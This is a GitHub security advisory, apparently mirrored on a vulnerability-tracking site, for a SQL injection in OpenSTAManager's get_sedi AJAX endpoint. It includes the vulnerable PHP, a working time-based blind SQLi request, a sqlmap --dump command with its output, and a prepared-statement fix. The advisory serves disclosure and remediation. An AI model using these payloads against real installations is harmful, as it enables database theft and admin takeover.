GHSA-W995-FF8H-RPPG
Vulnerability from github – Published: 2026-02-03 18:44 – Updated: 2026-02-18 23:41Summary
A SQL Injection vulnerability exists in the ajax_complete.php endpoint when handling the get_sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access.
Proof of Concept
Vulnerable Code
File: modules/anagrafiche/ajax/complete.php:28
case 'get_sedi':
$idanagrafica = get('idanagrafica');
$q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione
FROM an_sedi
WHERE idanagrafica='".$idanagrafica."' ...";
$rs = $dbo->fetchArray($q);
Data Flow
- Source:
$_GET['idanagrafica']→get('idanagrafica') - Vulnerable: User input concatenated directly into SQL query with single quotes
- Sink:
$dbo->fetchArray($q)executes the malicious query
Exploit
Manual PoC (Time-based Blind SQLi):
GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
SQLMap Exploitation:
sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--dump
SQLMap Output:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12
Impact
- Data Exfiltration: Complete database extraction including user credentials, customer data, financial records
- Privilege Escalation: Modification of
zz_userstable to gain admin access - Data Integrity: Unauthorized modification or deletion of records
- Potential RCE: Via
SELECT ... INTO OUTFILEif file permissions allow
Affected Versions
- OpenSTAManager: Verified in latest version (as of December 2025)
- All versions using this endpoint are likely affected
Remediation
Replace direct concatenation with prepared statements:
Before:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";
After:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";
Credit
Discovered by: Łukasz Rybak
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "devcode-it/openstamanager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.9.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69213"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T18:44:17Z",
"nvd_published_at": "2026-02-04T18:16:07Z",
"severity": "HIGH"
},
"details": "## Summary\nA SQL Injection vulnerability exists in the `ajax_complete.php` endpoint when handling the `get_sedi` operation. An authenticated attacker can inject malicious SQL code through the `idanagrafica` parameter, leading to unauthorized database access.\n\n\n## Proof of Concept\n\n### Vulnerable Code\n**File:** `modules/anagrafiche/ajax/complete.php:28`\n\n```php\ncase \u0027get_sedi\u0027:\n $idanagrafica = get(\u0027idanagrafica\u0027);\n $q = \"SELECT id, CONCAT_WS( \u0027 - \u0027, nomesede, citta ) AS descrizione \n FROM an_sedi \n WHERE idanagrafica=\u0027\".$idanagrafica.\"\u0027 ...\";\n $rs = $dbo-\u003efetchArray($q);\n```\n\n### Data Flow\n1. **Source:** `$_GET[\u0027idanagrafica\u0027]` \u2192 `get(\u0027idanagrafica\u0027)`\n2. **Vulnerable:** User input concatenated directly into SQL query with single quotes\n3. **Sink:** `$dbo-\u003efetchArray($q)` executes the malicious query\n\n### Exploit\n\n**Manual PoC (Time-based Blind SQLi):**\n```http\nGET /ajax_complete.php?op=get_sedi\u0026idanagrafica=1\u0027 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND \u00271\u0027=\u00271 HTTP/1.1\nHost: localhost:8081\nCookie: PHPSESSID=\u003cvalid-session\u003e\n```\n\u003cimg width=\"1304\" height=\"580\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ffcdacf-d56c-4a44-ad95-d6cecd0f05c8\" /\u003e\n\n**SQLMap Exploitation:**\n```bash\nsqlmap -u \"http://localhost:8081/ajax_complete.php?op=get_sedi\u0026idanagrafica=1*\" \\\n --cookie=\"PHPSESSID=\u003csession\u003e\" \\\n --dbms=MySQL \\\n --technique=T \\\n --level=3 \\\n --dump\n```\n\n**SQLMap Output:**\n```\n[INFO] URI parameter \u0027#1*\u0027 appears to be \u0027MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\u0027 injectable\nParameter: #1* (URI)\n Type: time-based blind\n Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\n Payload: idanagrafica=1\u0027 AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF\nback-end DBMS: MySQL \u003e= 5.0.12\n```\n\n\u003cimg width=\"1284\" height=\"745\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5c640132-4f52-46bd-96fa-14d9987d4759\" /\u003e\n\n\n## Impact\n- **Data Exfiltration:** Complete database extraction including user credentials, customer data, financial records\n- **Privilege Escalation:** Modification of `zz_users` table to gain admin access\n- **Data Integrity:** Unauthorized modification or deletion of records\n- **Potential RCE:** Via `SELECT ... INTO OUTFILE` if file permissions allow\n\n## Affected Versions\n- OpenSTAManager: Verified in latest version (as of December 2025)\n- All versions using this endpoint are likely affected\n\n## Remediation\n\nReplace direct concatenation with prepared statements:\n\n**Before:**\n```php\n$idanagrafica = get(\u0027idanagrafica\u0027);\n$q = \"SELECT ... WHERE idanagrafica=\u0027\".$idanagrafica.\"\u0027 ...\";\n```\n\n**After:**\n```php\n$idanagrafica = get(\u0027idanagrafica\u0027);\n$q = \"SELECT ... WHERE idanagrafica=\".prepare($idanagrafica).\" ...\";\n```\n\n## Credit\nDiscovered by: \u0141ukasz Rybak",
"id": "GHSA-w995-ff8h-rppg",
"modified": "2026-02-18T23:41:04Z",
"published": "2026-02-03T18:44:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69213"
},
{
"type": "PACKAGE",
"url": "https://github.com/devcode-it/openstamanager"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenSTAManager has a SQL Injection in ajax_complete.php (get_sedi endpoint)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.